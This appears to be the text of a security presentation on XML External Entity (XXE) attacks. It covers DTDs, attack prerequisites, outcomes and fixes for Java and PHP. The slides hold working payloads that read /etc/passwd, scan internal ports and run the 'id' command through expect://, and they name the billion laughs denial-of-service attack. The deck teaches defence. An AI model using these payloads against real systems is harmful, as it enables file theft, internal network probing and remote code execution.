The document details XML External Entity (XXE) attacks, covering concepts such as Document Type Definition (DTD), prerequisites for conducting these attacks, and their various potential outcomes including data disclosure and remote code execution. It also discusses methods for fixing XXE vulnerabilities in various programming environments like Java, PHP, and .NET. The presentation concludes with resources for further reading and prevention strategies.

1. XML eXternal Entity Attack (XXE)
By:
Samit Anwer
samit.anwer@gmail.com
and other related attacks

2. Agenda
• Document Type Definition
• Prerequisites to perform an XXE attack
• Outcomes
• Fixing XXE vulnerabilities

3. Document Type Definition (DTD)
Internal DTD External DTD
DTD defines the structure - legal elements, entities and attributes of an XML doc

4. • Common references shared between multiple XML documents
<?xml version="1.0" standalone="no" ?>
<!DOCTYPE copyright [ <!ELEMENT copyright (#PCDATA)> <!ENTITY c SYSTEM
"http://www.xmlwriter.net/copyright.xml"> ]>
<copyright>&c;</copyright>
Why External Entities?
• Security issues arise because PHP places no restrictions on what URLs can
be accessed, even if allow_url_fopen is set to false in php.ini

5. Prerequisites to perform an XXE
• The application parses XML documents
• Tainted data is allowed within the system identifier of the entity, within the DTD
• The XML processor is configured to validate and process the DTD
• The XML processor is configured to resolve external entities within the DTD

6. • Disclosure of confidential data / file inclusion
• Server Side Request Forgery (SSRF)
• Port Scanning
• DoS on the parsing system
• Remote Code Execution
Outcomes

7. File inclusion
• local file must be valid XML
• What if it is not?
• It is possible to encode binary files as a Base64 encoded string
• What if the confidential file is not reflected in the response?
<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///etc/passwd">]> <scan>&test;</scan>
<!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<scan>&test;</scan>
Back
DEMO

8. SSRF
• an attacker has the ability to create requests from the vulnerable server
Back
DEMO
Go to Appendix

9. Port Scanning
• It is possible to specify ports to which the XML parser will connect
• As long as PHP error messages are enabled you get back the banner of the service
running even if the port doesn't support the HTTP protocol
• What if error messages are disabled?
Time is your friend!
<!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22">]>
<scan>&test;</scan>
Warning: simplexml_load_string(http://localhost:22): failed to open stream: HTTP request failed!
SSH-2.0-OpenSSH_5.5p1 Debian-4ubuntu5 in testxml.php on line 10
Back

10. DoS
• Billion laughs attack
• Try opening file:///dev/random
https://en.wikipedia.org/wiki/Billion_laughs
Back

11. Remote Code Execution
<!DOCTYPE root [<!ENTITY foo SYSTEM "expect://id">]>
<methodCall>
<methodName>&foo;</methodName>
</methodCall>
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault><value><struct><member><name>faultCode</name><value><int>620</int></value></member><member><name>
faultString</name><value>
<string>Method &quot;uid=33(www-data) gid=33(www-data) groups=33(www-data)
&quot; does not exist</string>
</value></member></struct></value></fault></methodResponse>
Request:
Response:
Back

12. Fixes – JAVA
• Disable DTDs
• If it is not possible to disable DTDs completely, then
• Disable external entity
• Disable external DTDs
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities" , false);
factory.setFeature(“http://apache.org/xml/features/nonvalidating/load-external-dtd” , false);

13. Fixes - PHP
• libxml_disable_entity_loader(true);
• Refer -
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Chea
t_Sheet#PHP
Fixes – iOS, .NET, C/C++

14. References
• DTD tutorial
http://edutechwiki.unige.ch/en/DTD_tutorial
• XML External Entity (XXE) Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
• XML External Entity (XXE) Prevention Cheat Sheet
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#PHP
• Scanning the internal network using SimpleXML
http://blog.h3xstream.com/2014/06/identifying-xml-external-entity.html
• Identifying Xml eXternal Entity vulnerability (XXE)
https://www.idontplaydarts.com/2011/02/scanning-the-internal-network-using-simplexml/

15. Thank You!
Q/A?

16. Appendix
Back